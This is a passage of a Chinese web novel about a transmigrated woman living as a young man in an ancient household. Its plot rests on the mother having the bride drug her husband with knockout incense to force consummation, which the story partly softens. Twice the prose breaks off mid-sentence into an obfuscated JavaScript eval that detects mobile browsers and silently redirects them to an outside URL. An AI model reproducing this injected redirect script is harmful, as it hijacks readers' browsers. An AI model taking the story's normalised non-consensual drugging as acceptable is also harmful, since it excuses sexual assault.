玉溪轻轻拍了拍李傲雪的手,试图安慰她:“李姑娘,你别太自责,这也不是你的错。只是……只是如今事情闹成这样,只怕难以收场。”李傲雪抬起头,眼中满是无助,“玉姑娘,你说我该怎么办?少爷那般嫌弃我,婆婆还满心欢喜,我……我真的不知道该如何是好了。” 玉溪陷入沉思,片刻后缓缓说道:“或许,我们得找个机会,让少爷和夫人好好谈谈,将事情说清楚,说不定……说不定还有转机。”李傲雪眼中燃起一丝希望,又很快黯淡下去,“只怕……只怕少爷根本不愿提及此事,更不愿与婆婆说。” 玉溪凝视着李傲雪,目光中透着担忧与疑惑,再次追问道:“李姑娘,你当真完全是自愿的吗?”李傲雪微微垂眸,脸上浮现出一抹复杂的神情,轻声说道:“虽说用迷香这种法子的确不妥,但我身为他的妻子,本就该尽到妻子的本分。倘若一直未能圆房,外人知晓了,难免会对我指指点点,说三道四。况且……我心里确实是喜欢他的。” 玉溪听闻,心中不禁泛起一阵酸涩。她理解李傲雪身为封建礼教下女子的无奈,也明白她对肖晨的那份深情。可想到肖晨对李傲雪的态度,又不禁为李傲雪感到心疼。 “李姑娘,你对公子的心意天地可鉴,只是公子他……唉。”玉溪轻轻叹了口气,满心无奈。李傲雪苦笑着摇了摇头,“玉姑娘,我知道你心疼我。只是感情之事,强求不得。如今木已成舟,我只盼少爷能慢慢接受我,哪怕只是看在夫妻情分上。” 玉溪思索片刻后说道:“李姑娘,既然事已至此,或许你可以试着多与公子相处,让他看到你的好,说不定能打动他。我也会在一旁帮衬着你。”李傲雪眼中闪过一丝感激,“玉姑娘,多谢你愿意帮我,若没有你,我真不知该如何面对这一切。” 肖晨满心纠结与无助,脚步沉重地走到客厅,一屁股坐下,脸上写满了痛苦与迷茫。肖母见儿子这般模样,赶忙关切地凑上前,问道:“儿子,这是怎么了?”肖晨抬起头,眼中满是自责与懊悔,说道:“娘,我对傲雪做出了那样的事情……” 肖母心中“咯噔”一下,表面却故作镇定,心虚地说道:“你们本就是夫妻,夫妻之间这般,不是再正常不过了嘛。”肖晨痛苦地摇了摇头,声音低沉:“要不是我喝酒,傲雪也不会被我强迫……”肖母一听,心中暗自庆幸儿子还不知迷香之事,决定将错就错,劝说道:“既然事情已经发生了,那不如就好好过日子,你俩好好相伴,往后的日子还长着呢。” 肖晨却满脸决绝,大声说道:“娘,我做不到!我……我实在无法面对傲雪,无法像寻常夫妻那样与她相处。”肖母愣住了,她没想到儿子的反应如此激烈。她看着肖晨,语重心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993176|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长地说:“儿子,婚姻之事,讲究个责任。你既已成亲,就该担起这份责任,好好对待傲雪。她是个好姑娘,对你也是真心的。” 肖晨站起身来,在客厅里来回踱步,内心痛苦挣扎。“娘,您不懂,有些事不是您想得那么简单。我……我真的没办法装作什么都没发生,若无其事地和她过日子。”肖晨满心无奈,他无法向母亲坦白自己灵魂的秘密,只能独自承受这份煎熬。 肖母看着儿子,心中焦急万分,却又不知该如何劝说。她只盼儿子能早日想通,接受李傲雪,让这个家恢复平静,可此刻儿子的态度,让她深感无力,客厅里的气氛凝重得让人喘不过气来。 肖晨虽满心纠结,但想到昨夜李傲雪所承受的痛苦,心中不禁泛起一阵愧疚。他看向肖母,缓缓说道:“娘,您让厨房炖些汤给傲雪送过去吧。我昨天那般对她,也知道女孩子第一次身体都会很痛,我……我想弥补一下自己的过错。” 肖母听闻,心中一喜,忙不迭点头:“哎,这才对嘛,儿子。你能这么想,娘很欣慰。我这就吩咐厨房去准备,挑些滋补的食材,给傲雪好好补补。”说着,便转身唤来下人,仔细叮嘱了一番炖汤的事宜。 待下人离去,肖母又看向肖晨,语重心长地说:“儿子啊,夫妻之间难免有些磕磕绊绊,你主动示好,这是个好的开始。往后啊,对傲雪多上点心,好好过日子。”肖晨微微颔首,却没有说话,心中依旧五味杂陈。 不一会儿,下人便将炖好的汤送了过来。肖晨看着那热气腾腾的汤,心中有些犹豫,不知李傲雪是否愿意接受自己这份歉意。但最终,他还是接过汤碗,对肖母说道:“娘,我亲自给傲雪送去吧。”肖母笑着点头:“好,好,你亲自去,更显诚意。” 肖晨端着汤,迈着略显沉重的步伐,朝李傲雪的院子走去。一路上,他脑海中不断浮现出李傲雪伤心哭泣的模样,心中愈发愧疚。当他走到院门口时,深吸一口气,轻轻推开了门,不知等待他的,会是李傲雪怎样的反应。 玉溪和李傲雪正相对而坐,沉浸在各自的思绪中,忽见肖晨推门而入。玉溪率先反应过来,诧异道:“公子,你怎么来了?”李傲雪神色复杂,眼中闪过一丝哀怨,冷哼一声道:“少爷不是嫌弃我吗?怎么还来了?” 肖晨一脸愧疚,缓缓走上前,轻声说道:“昨天是我喝醉酒强迫了你……”听到这话,玉溪和李傲雪不禁瞪大了眼睛,面面相觑,看来肖晨果真不知迷香之事。 肖晨顿了顿,继续说道:“我让人炖了汤,你喝点补补身子。你的身体一定很痛吧,我……我对不起你。”说着,他将手中的汤碗轻轻放在桌上,眼神中满是自责与关切。 李傲雪望着那碗汤,又抬眼看向肖晨,泪水在眼眶里打转。她怎么也没想到,原本绝情的肖晨竟会主动前来道歉,还带来了补汤。玉溪在一旁看着,心中暗暗为李傲雪感到高兴,轻声说道:“李姑娘,公子一番心意,你就喝些吧。” 李傲雪犹豫片刻,缓缓起身,走到桌前。她拿起汤碗,手微微颤抖。看着肖晨,声音略带哽咽:“少爷,你……你真的知道错了吗?”肖晨赶忙点头,诚恳地说:“傲雪,我知道错了。我不该那般对你,往后……往后我会尽量弥补。”李傲雪微微颔首,轻抿了一口汤,温暖的汤汁顺着喉咙流下,也稍稍慰藉了她那颗受伤的心。 肖晨见李傲雪喝完了汤,心中的愧疚稍稍减轻了些,但疑惑仍在心头。他看着李傲雪,轻声问道:“为什么你昨天不反抗,也不让人叫醒我呢?”李傲雪心中一紧,她实在没办法说出是肖母让她用迷香的事,犹豫片刻后,嗫嚅着说道:“你我是夫妻呀,这……这也是我该做的。” 肖晨微微皱眉,对这个回答并不十分满意,但也不好再追问下去。他轻轻叹了口气,说道:“即便如此,往后若再遇到类似的事,你还是要懂得保护自己,莫要再这般委屈自己。”李傲雪心中涌起一股暖流,微微点头,低声应道:“嗯,我知道了,少爷。” 玉溪在一旁看着这一幕,心中既为李傲雪感到欣慰,又隐隐有些失落。她深知肖晨与李傲雪之间已因这一夜有了难以割舍的联系,而自己与肖晨,似乎再无可能回到从前。但她还是强打起精神,笑着说道:“好了,公子能有这份心意,李姑娘也别再难过了,往后日子还长,好好相处便是。” 肖晨与李傲雪闻言,都将目光投向玉溪。肖晨心中对玉溪也满怀歉意,说道:“玉溪,此事也多亏你在一旁照拂傲雪,改日我定当好好谢你。”玉溪连忙摆手,说道:“公子言重了,我与李姑娘投缘,相互照应也是应该的。” 李傲雪鼓起勇气,眼中带着一丝期许,轻声问道:“少爷,你能接受我吗?”肖晨面露难色,心中满是纠结与痛苦,缓缓说道:“我依旧不能接受你。只是……我对自己犯下的错,实在难以原谅。” 他的内心犹如翻江倒海一般,备受煎熬。自己灵魂本是女子,却以这男儿身对另一个女人做出如此之事,即便李傲雪并非完全被迫,可他深知这种行为对一个女子的伤害之大。他痛苦地闭上双眼,试图平复内心的波澜,却只是徒劳。 李傲雪听闻此言,眼中刚刚燃起的希望瞬间熄灭,泪水再次模糊了视线。“少爷,难道……难道无论我怎么做,都无法得到你的认可吗?”她声音颤抖,满心的委屈与无奈几乎将她淹没。 肖晨睁开眼睛,看着李傲雪悲伤的模样,心中的愧疚如潮水般涌来。“傲雪,你别这样……这并非是你的错,只是我……我有自己难以言说的苦衷。”他试图解释,却又不知从何说起,只能任由沉默在三人之间蔓延。 玉溪在一旁看着两人,心中既心疼李傲雪,又理解肖晨的纠结。她轻轻叹了口气,打破沉默:“公子,李姑娘,感情之事强求不得,但如今事已至此,或许大家可以试着慢慢相处,说不定……说不定会有所改变呢。”她的话语中带着一丝期许,希望能缓解这沉重压抑的气氛。 李傲雪微微点头,用帕子轻轻拭去泪水,“玉姑娘说得对,少爷,我愿意等,等你能接受我的那一天。” 肖晨一脸决然,缓缓开口:“不会有那么一天的,我无法爱上任何女人。”他心中藏着不为人知的秘密,倘若有朝一日自己回到现代,原身归来,一切又该如何收场?他深知不能如此自私,将身边人都拖入痛苦的深渊。 李傲雪听到这话,如遭雷击,原本还存有的一丝幻想彻底破灭。她嘴唇颤抖,泪水不受控制地滑落:“少爷,为何如此决然?难道我真的这般不堪,让你连一丝机会都不愿给我?”她满心悲戚,实在不明白肖晨为何如此固执。 肖晨看着李傲雪悲痛欲绝的模样,心中也不好受,但他不得不狠下心肠。“傲雪,这与你无关,是我自身的问题。有些事太过复杂,我无法向你解释清楚。但请相信,我并非有意要伤害你。”他满心无奈,这难以言说的苦衷像一块巨石,沉甸甸地压在他心头。 玉溪在一旁看着两人,心中既为李傲雪难过,又对肖晨的坚持感到疑惑。“公子,究竟是何原因,让你如此抗拒?你这般,李姑娘该有多伤心。”她试图让肖晨说出缘由,或许解开这心结,一切还有转机。 肖晨却只是摇头,沉默良久后说道:“有些事说出来,只会让大家更痛苦。我不能因为自己,让所有人陷入万劫不复之地。”他眼神坚定,即便内心痛苦万分,也不愿改变主意。屋内气氛压抑到了极点,李傲雪的哭声,肖晨的无奈,玉溪的叹息交织在一起,未来的方向,似乎变得愈发渺茫。 16. 他来给她赔罪 玉溪看着肖晨,一脸恳切地劝说道:“公子,当时你拒绝了我,这我已然接受。可如今你与李姑娘已经成婚,且有了夫妻之实,为何还是不能接受她呢?” 肖晨面露痛苦之色,长叹一口气道:“我有自己的无奈啊。我又何尝不想像常人一样,好好去爱一个人。可是……我真的做不到。”他转头看向李傲雪,目光中满是怜惜与愧疚,“傲雪,你真的很好。自从我见你的第一眼,就被你吸引住了。你的温柔、善良,无一不让我心动。” 李傲雪眼中闪过一丝希冀,可肖晨紧接着的话,又将她打入谷底。“但我不能违背道德……有些事,你们根本无法想象,也难以理解。我若因为一时冲动,接受了你,将来带给大家的,只会是更大的伤害。” 李傲雪忍不住问道:“少爷,究竟是什么事?难道比我们夫妻情分还重要吗?你说出来,说不定我们可以一起面对。” 肖晨却只是苦涩地摇头,他怎能说出自己灵魂来自现代,不知何时就会回去,而原身又可能回来的事呢?这一切太过离奇,说了只怕她们会觉得自己疯了。“傲雪,你别问了。我只能尽量补偿你,在生活上照顾你,但感情之事,我真的无能为力。” 玉溪和李傲雪对视一眼,都从对方眼中看到了无奈与困惑。这看似无解的局面,像一座大山,横亘在三人之间,让人喘不过气来,未来的日子,似乎注定要在纠结与痛苦中度过。 肖晨内心如乱麻般纠结,他清楚同性恋无论是在这封建的古代,还是看似开放的现代,都难以被广泛接受。在现代,自己的父母皆是平凡之人,若知晓他的性取向,根本无力承受周围异样的目光和巨大的压力。 一想到这里,他就觉得仿佛有一双无形的大手,死死地扼住他的咽喉,压抑得快要喘不过气来。在古代,礼教森严,违背伦常的恋情更是大逆不道,他根本不敢想象一旦自己的真实情感暴露,会引发怎样的轩然大波。 眼前李傲雪满含期待与哀怨的眼神,让他满心愧疚却又无从诉说。他只能强忍着内心的痛苦,将这份情感深埋心底,把所有的压抑和无奈独自咽下。他感觉自己像是被困在一个密不透风的牢笼里,找不到出口,也无法挣脱这无形的枷锁,只能在痛苦中苦苦挣扎。 肖晨在现代时,作为一名普通女孩,生活简单而快乐。她和许多同龄人一样,会为帅气的男明星心动,憧憬着美好的爱情,享受着青春的悸动。可命运弄人,不知为何,她竟魂穿到古代男子的身上。 当见到李傲雪的那一刻,他的心不由自主地被牵引。李傲雪的一颦一笑,温柔婉约的气质,都让他难以抗拒。尽管理智告诉他,如今自己身为男儿身,这份情感发展下去只会是一场灾难,但内心的情感却如脱缰的野马,不受控制。 他常常在无人处暗自神伤,既无法割舍对李傲雪的这份特殊情感,又深知这在古代是不被认可的。这种矛盾的心情如同尖锐的针,一下又一下刺痛他的心,让他陷入无尽的纠结与痛苦之中,不知该如何面对自己内心真实的情感,以及这段错综复杂的关系。 肖晨满脸痛苦与无奈,看向李傲雪,声音低沉地说道:“你要打要骂都可以,是我对不住你。”李傲雪眼中泪水盈盈,情绪激动地说道:“少爷,我怎么会这样对你?你是我的男人啊,我们已然有了夫妻之实,如今你却不要我,你叫我以后该如何自处?” 她的声音带着哭腔,满心的委屈与绝望。在这封建礼教森严的时代,女子的贞洁重于一切,与丈夫圆房后却遭抛弃,她实在难以想象往后的日子该如何度过。“少爷,难道在你心中,我就这般无足轻重?昨夜的种种,难道你都能当作从未发生过?” 肖晨心中一阵刺痛,李傲雪的每一句话都如重锤般敲打着他的心。他何尝不知道自己的行为对李傲雪造成了多大的伤害,可内心的矛盾与挣扎让他无法轻易接受这份感情。“傲雪,我……我不是有意要伤害你,只是我……有苦衷,我真的无法给你想要的未来。” 李傲雪泪流满面,缓缓走到肖晨面前,抓住他的衣袖,哀求道:“少爷,你告诉我,究竟是什么苦衷?只要你说出来,我们一起想办法解决,好不好?我不想失去你,真的不想……”她的眼神中充满了绝望中的最后一丝希冀,紧紧盯着肖晨,仿佛要从他的眼神中寻出一丝转机。 肖晨满脸无奈与愧疚,看着李傲雪,语气中带着一丝不解与动容:“你为什么要对我这么好,明知道我不能爱你。”李傲雪抬起头,眼中泪光闪烁,声音轻柔却坚定:“少爷,是你的温柔,还有平日里对我的呵护,让我怎能不倾心于你。别的男人见了女人,大多眼神中满是欲望,可你的眼睛却清澈无比,对我也始终十分尊重。” 李傲雪顿了顿,似是鼓起了莫大的勇气,继续说道:“从那些细微之处,我能感受到你是真心待我好,并非虚情假意。在这深宅大院里,能遇到像你这般的人,于我而言,是莫大的幸运。即便你如今说不能爱我,可我对你的心意,又怎是说收回就能收回的。” 肖晨听着李傲雪的倾诉,心中五味杂陈。他深知自己对李傲雪的好,本是出于内心的善良与尊重,却不想在李傲雪心中种下了情根。他满心无奈,又着实被李傲雪的深情所打动。“傲雪,你这般深情,叫我……叫我如何是好。我并非铁石心肠,只是……只是诸多无奈,让我不敢轻易回应你的感情。” 李傲雪轻轻摇头,眼中满是执着:“少爷,我不求你立刻回应我,只求你别再这般拒我于千里之外。让我能留在你身边,哪怕只是以妻子之名,默默相伴,便足矣。” 玉溪看着肖晨,诚恳地说道:“是啊,公子。李姑娘确实是个难得的好人。自与她接触以来,我深切能感受到她和别的女子不同。她不仅心地善良,而且很尊重我,丝毫没有因为我的出身就看不起我。” 肖晨微微点头,心中对李傲雪的印象又多了几分好感,可内心的矛盾依然让他无法释怀。他看向玉溪,轻声说道:“你先出去一下吧,我有话单独跟她说。”玉溪明白肖晨的意思,微微欠身,转身走出房间,轻轻带上了门。 房间里只剩下肖晨和李傲雪,气氛瞬间变得安静而又有些紧张。肖晨深吸一口气,缓缓开口:“傲雪,玉溪所言,我都听到了。我也知道你是个好女子,可我……唉。”他心中千头万绪,不知该如何向李傲雪表明自己的心意。 李傲雪静静地看着肖晨,眼中满是期待,轻声说道:“少爷,有什么话,你就直说吧,无论什么,我都愿意听。”肖晨看着李傲雪那清澈而又饱含深情的眼睛,心中一阵刺痛,他艰难地说道:“傲雪,你这般好,我又何尝不知。只是我的情况太过复杂,复杂到连我自己都理不清。我害怕给不了你想要的未来,更害怕伤害到你。” 李傲雪心中一紧,赶忙说道:“少爷,未来之事,谁又能说得准呢?只要我们一起面对,又有什么过不去的坎儿呢?我不怕吃苦,也不怕面对未知,只求能与你相伴。”肖晨听着李傲雪坚定的话语,心中的纠结愈发强烈,不知该如何回应这份炽热的感情。 肖晨神情认真,直视着李傲雪的眼睛说道:“傲雪,那天早上我跟你说过的话不是假的。我的那些朋友,她们真不是你想的那种风尘女子。她们虽然身处不同环境,行事作风与寻常女子不同,但她们对我都很好,我们之间有着真挚的情谊。” 李傲雪微微颔首,眼中闪过一丝愧疚,轻声说道:“少爷,是我误会了,我不该仅凭表象就那般猜测。只是……只是当时听闻你与她们过往甚密,心中难免担忧,才会口不择言。” 肖晨轻轻叹了口气,说道:“我明白你的担忧,只是她们于我而言,更似亲人。她们的生活方式虽不被世俗理解,可她们重情重义。我不想你因为误解,对她们心生偏见。” 李傲雪赶忙说道:“少爷放心,往后我不会再无端猜测了。若有机会,我也想见见她们,向她们赔个不是。”肖晨看着李傲雪,心中涌起一丝暖意,说道:“你能这么想,我很欣慰。只是江湖复杂,她们的生活环境与你不同,若真相见,你莫要害怕。”李傲雪坚定地点点头,“少爷,我不怕,我也想多了解你身边的人,走近你的生活。” 此刻,两人之间的气氛较之前缓和了许多,似乎那层隔阂也在慢慢消融。 肖晨目光诚挚,继续对李傲雪说道:“就像我跟玉溪一样。她虽出身香满楼,但她一直洁身自好,这你也能感受到她的好。我们之间纯粹是普通朋友,真的没有发生过什么。不能因为出身,就将人一竿子打死,不是所有的人都是坏的,他们只是被生活所迫,才走上了一些无奈的道路。” 李傲雪微微动容,心中对肖晨的理解又深了几分。她轻声说:“少爷,经你这么一说,我确实觉得自己之前想法太狭隘了。玉溪姑娘与我相处,真诚友善,的确是个难得的好人。我不该因她的出身就心存偏见。” 肖晨面露欣慰之色,“是啊,傲雪,每个人都有自己的苦衷。像玉溪,她在那样的环境中,仍能坚守本心,实属不易。我们应该多些理解和包容。我希望你能明白,看人不能只看表面,更要看到他们内心的善良与坚韧。” 李傲雪重重点头,“少爷教诲,我记住了。往后我会以更友善的态度对待玉溪姑娘,也会尝试理解像她这样的人。”肖晨看着李傲雪,心中满是感慨,觉得她能这般通情达理,实在难能可贵。 肖晨关切地望向李傲雪,轻声询问:“你的身子骨现在怎么样了?”话刚出口,他像是本能反应般,不经意间又轻轻拉开了她的衣服,当看到她身上因昨夜留下的痕迹时,心中满是自责与心疼,脱口而出:“会不会很疼?” 李傲雪脸颊瞬间泛起红晕,身子微微一颤,下意识地想要遮挡。她既羞涩于这般亲密的举动,又被肖晨突如其来的关心弄得有些不知所措。“我……我没事了,少爷。”她声音轻柔,带着一丝娇嗔,头也不自觉地低了下去。 肖晨这才意识到自己行为的不妥,急忙松开手,满脸歉意:“抱歉,傲雪,我……我只是太担心你,一时情急,没注意分寸。”他心中懊悔不已,担心自己鲁莽的举动又让李傲雪感到不适。 李傲雪见肖晨一脸懊悔,误以为他不高兴,赶忙说道:“少爷,我没有怪你呀。”说着,竟主动轻轻拉开自己的衣服,眼中带着一丝倔强与讨好,“我真的不怕疼的。” 肖晨看着她这般模样,心中愈发愧疚。他缓缓伸出手,轻柔地抚摸着那些伤痕,动作小心翼翼,仿佛怕弄疼了她。看着李傲雪,眼神中满是怜惜,轻声说道:“你躺下休息吧。这几天我来照顾你。” 李傲雪微微一怔,眼中闪过惊喜与感动。“少爷,你……”她没想到肖晨会有这样的举动,原本以为肖晨会一直对自己疏离,如今他竟说要照顾自己,这让她心中五味杂陈。 肖晨扶着李傲雪缓缓躺下,细心地为她掖好被子。“你好好休息,有什么需要就告诉我。”他的声音温柔而坚定,就像一阵春风,轻轻拂过李傲雪的心间。李傲雪微微点头,眼中满是依赖与幸福,在肖晨的注视下,缓缓闭上了眼睛,心中默默期许着,或许两人的关系,能借此机会有所改变。 李傲雪刚要陷入梦乡,却又突然睁开眼睛,眼神中带着一丝怯意与期待,对肖晨说道:“少爷,你能陪我一起睡吗?”肖晨听到这话,微微一愣,嗫嚅着:“我,我……” 李傲雪见他这般犹豫,心中一紧,以为肖晨又开始嫌弃自己,赶忙说道:“少爷,我是不是说错话了?要是为难,当我没说。”说着,眼中已隐隐泛起泪花。 肖晨见状,心中满是不忍,急忙解释:“没有,傲雪,你别误会。只是……只是我一时不知该怎么办才好。既然你想让我陪,我陪着你就好。”说完,他略带迟疑地上了床,在李傲雪身边躺下。 李傲雪心中大喜,往肖晨身边挪了挪,紧紧挨着他,脸上露出安心的笑容。肖晨身体微微僵硬,他从未与女子如此亲近共眠,心中既紧张又有些不知所措。但看着李傲雪满足的模样,他渐渐放松下来,轻轻伸出手臂,让李傲雪枕着,轻声说道:“睡吧,有我在。”李傲雪应了一声,在肖晨温暖的怀抱中,缓缓睡去,脸上洋溢着幸福,而肖晨看着她恬静的睡颜,心中也泛起了一丝别样的情愫。 肖晨静静地凝视着熟睡中的李傲雪,心中不禁泛起一阵涟漪,暗自思忖:她就这么喜欢自己吗?李傲雪虽是个小姑娘,比原身还要大上几岁,却总是小心翼翼地讨好自己。 想着想着,他心中满是感慨。倘若自己真的是这具身体的原主,能遇到如此善良美好的女孩,必定会将她捧在手心里,好好珍惜。李傲雪的每一个眼神、每一次举动,都透露着对自己的深情,这份纯粹的感情在这复杂的世间显得尤为珍贵。 可如今,自己的灵魂来自另一个世界,未来充满了不确定性,不知还能在这停留多久。一想到这儿,肖晨心中便涌起一阵无奈与愧疚。他轻轻地叹了口气,眼神中满是怜惜与纠结,默默在心中对李傲雪说道:“若可以,真希望能如你所愿,给你幸福,可命运弄人……” 丫鬟脚步轻快地来到肖母跟前,脸上带着几分欣喜,赶忙说道:“夫人,我瞧见少爷去了少夫人那儿,都过去好长时间了,一直没出来呢。”肖母听闻,脸上顿时绽开了笑容,眼中满是欣慰,连连点头道:“看来这儿子总算是开窍了。” 她心中欢喜不已,一直以来担忧儿子与儿媳关系不睦,如今听闻这消息,恰似一块石头落了地。想着或许不久后,小两口便能琴瑟和鸣,家中添丁进口,肖母更是喜上眉梢。“这就好,这就好啊。”肖母喃喃自语,仿佛已经看到了一家人其乐融融的美好景象。随即,她从袖中掏出一锭银子,递给丫鬟,说道:“你这消息传得及时,赏你的,继续留意着他们。”丫鬟赶忙接过银子,福了福身,喜滋滋地应道:“是,夫人,奴婢一定盯紧了。” 李傲雪悠悠转醒,睁眼便瞧见身旁安睡的肖晨。两人在房里已然睡了许久,此刻房内静谧,唯有彼此轻柔的呼吸声。 她静静地凝视着肖晨,目光中满是爱意与痴迷。肖晨那张稚嫩的脸,在睡梦中透着几分孩子气,显得愈发可爱。不同于一般男子的粗犷豪迈,他的面容精致,眉眼间尽是温柔细腻。 李傲雪就这么静静地看着,仿佛时间都在此刻静止。她看着他高挺的鼻梁,微微嘟起的嘴唇,还有那长长的睫毛,在脸颊上投下淡淡的阴影。这张脸,她越看越喜欢,不知不觉竟出了神,心中满是欢喜与甜蜜,暗暗想着自己何其幸运,能与这般美好的人结为夫妻。 李傲雪脸颊瞬间绯红,意识到自己竟对着熟睡的他看得痴了,赶忙晃了晃脑袋,试图让自己清醒过来。然而,思绪却不由自主地飘回到昨天,那些亲昵的画面在脑海中不断盘旋。 她的心像揣了只小鹿般怦怦直跳,眼神中满是羞涩与犹豫。终于,在内心冲动的驱使下,她微微颤抖着身子,缓缓凑近肖晨,试探着轻轻吻上了他的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993177|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇。她的动作轻柔又紧张,仿佛稍一用力,便会打破眼前这如梦似幻的美好。 此刻的李傲雪,满心都是对这份感情的渴望,尽管羞怯,却又不想错过这难得的亲密时刻,只想将心中的爱意,通过这个轻柔的吻传达给还在睡梦中的肖晨。 肖晨沉浸在梦乡之中,丝毫没有察觉到李傲雪的举动。李傲雪见他毫无反应,胆子渐渐大了起来。她轻柔地贴合着肖晨的唇,仿佛时间都在这一刻停滞,就这样吻了好一会儿,才恋恋不舍地离开他的唇瓣。 随后,她脸颊绯红,带着一丝满足与羞涩,又小心翼翼地钻进肖晨温暖的怀抱,将头轻轻靠在他的胸口,听着他沉稳有力的心跳声。李傲雪闭上双眼,嘴角微微上扬,心中满是甜蜜,仿佛此刻,她拥有了整个世界。 肖晨悠悠转醒,发觉外面天色已暗,才知竟睡到了下午。低头一看,怀中的李傲雪正安安静静地依偎着他。他下意识地想要起身,动作却顿住了,生怕惊醒怀中之人。 可李傲雪似有所感,缓缓睁开双眼,睡眼惺忪地问道:“少爷就要起来了吗?”肖晨看着她娇憨的模样,无奈说道:“也不能一直躺在床上。”李傲雪一听,眼中闪过一丝失落,轻声央求:“不能陪我再躺一会儿吗?”那声音软软糯糯,满是不舍。 肖晨心中一软,终究还是又睡了下来。李傲雪见状,立刻像只小猫般,再次欢快地钻进他的怀里,嘴角扬起一抹满足的微笑。肖晨感受着怀中的温热,心中泛起丝丝涟漪,这片刻的温馨宁静,让他暂时忘却了那些纠结与烦恼。 肖晨看着怀中依恋不舍的李傲雪,语气轻柔却又透着几分坚定:“我们不能再躺下去了,该起来走走,活动一下,对身体也好。” 李傲雪微微嘟起嘴,眼中满是不情愿,但又深知肖晨所言在理。她轻轻叹了口气,撒娇般地在肖晨怀里蹭了蹭,这才缓缓起身。“好吧,少爷,都听你的。” 肖晨见她这般乖巧模样,心中不禁泛起一丝笑意。他也跟着起身,整理好衣衫,转头看向李傲雪,伸手轻轻帮她理了理有些凌乱的发丝,说道:“走吧,我们出去透透气。”李傲雪抬头看向肖晨,眼神中满是爱意,轻轻挽住他的手臂,两人一同向着房门外走去。 肖母远远瞧见儿子和儿媳这般亲昵地走来,脸上笑意更浓。她赶忙迎上前去,看着儿子,温和又不失威严地说道:“你呀,赶紧去书房练习书法,你最近可是落下了不少功课。” 肖晨听母亲这么一说,觉得确实有理,这段时间因为诸多琐事,自己在学业上有所懈怠。他恭敬地应道:“母亲说得是,孩儿这就去。” 说完,他转头看向李傲雪,眼神中带着一丝歉意,“傲雪,我先去书房了。” 李傲雪乖巧地点点头,“少爷放心去吧,我在这儿陪着母亲。”肖晨这才转身,快步向书房走去。肖母看着儿子离去的背影,又将目光投向李傲雪,眼中满是喜爱,拉着她的手说道:“好孩子,走,陪我去花园里逛逛,咱们娘俩也好好说说话。”李傲雪笑着应下,与肖母手挽手,缓缓朝花园走去,一路上欢声笑语不断。 在花园中,肖母与李傲雪沿着蜿蜒的石子路漫步。五彩斑斓的花朵竞相绽放,微风拂过,送来阵阵芬芳。肖母轻轻嗅着花香,脸上满是惬意,转头看向李傲雪,目光慈爱。 “傲雪啊,自从你进了咱们家门,我就看出你是个懂事的好孩子。”肖母轻轻拍了拍李傲雪的手,话语中满是赞赏,“如今看着你们小两口这般和睦,我心里别提多高兴了。” 李傲雪脸颊微微泛红,羞涩地低下头,轻声说道:“母亲过奖了,都是少爷对我好。” 肖母微笑着点点头,“晨儿这孩子,平日里看着沉稳,其实心思细腻。你们夫妻二人能相互扶持,我也就放心了。只是啊,他这学业可不能荒废,日后还要考取功名,为家族争光呢。” 李傲雪赶忙应道:“母亲说得极是,少爷聪慧过人,只要专心学业,定能有所成就。日后我也会时常提醒他,莫要懈怠。” 两人正说着,走到了一座精致的八角亭前。肖母提议道:“咱们在这儿歇歇脚吧。”亭中石桌上,早有丫鬟摆好了茶水点心。两人坐下,丫鬟们轻手轻脚地为她们斟茶。 肖母端起茶杯,浅抿一口,目光落在花园中盛开的牡丹上,思绪似乎飘远了。“傲雪,这府里的大小事务,日后我也想慢慢交予你打理。一来,我年纪渐长,精力不如从前;二来,你也该学着掌管中馈,也好帮衬晨儿。” 李傲雪心中一惊,忙站起身来,福了福身,诚惶诚恐地说道:“母亲,傲雪才疏学浅,恐难担此重任,还望母亲再多教导教导。” 肖母笑着摆摆手,示意她坐下,“别慌,我会一步步教你。你这孩子心地善良,又聪慧伶俐,我相信你定能将这府中事务处理得井井有条。” 李傲雪感激地看着肖母,眼中闪着泪花,“多谢母亲信任,傲雪定当竭尽全力,不负母亲所托。” 肖母欣慰地笑了,又与李傲雪说起府中各项事务的要点,李傲雪听得认真,不时点头,暗暗将这些记在心中。 肖母微微凑近李傲雪,压低声音又说道:“不过话说回来,迷香的事情你没告诉儿子吧?”李傲雪赶忙轻轻摇头,眼神带着几分乖巧:“母亲,我没有告诉少爷。”肖母听了,脸上露出满意的神情,轻轻拍了拍李傲雪的手。 随后,肖母话锋一转,神色变得有些急切:“虽然你们如今已经圆房了,可这生孩子的事儿也得抓紧。女人啊,有了孩子,这心才能踏实,咱们家也能早日添丁进口。你呀,别跟个木头一样,下次还得让我帮你,可得主动些。” 李傲雪顿时羞得满脸通红,头低得几乎要埋进胸口,声音细若蚊蝇:“母亲,傲雪知道了。”她心中又羞又窘,没想到肖母竟如此直白地说起这事。 肖母看着李傲雪娇羞的模样,忍不住笑了,“好了好了,我也就是提醒你。你们年轻人啊,把握好时机。”说着,又端起茶杯,轻抿一口,眼神中满是对未来含饴弄孙生活的憧憬。 此时,花园里的鸟儿叽叽喳喳地叫着,仿佛也在为这温馨又略带尴尬的场景增添别样的氛围。李傲雪坐在那儿,心中既为肖母的关怀感到温暖,又因这私密话题而羞涩,只盼着能赶紧转移话题,缓解这令人面红耳赤的气氛。 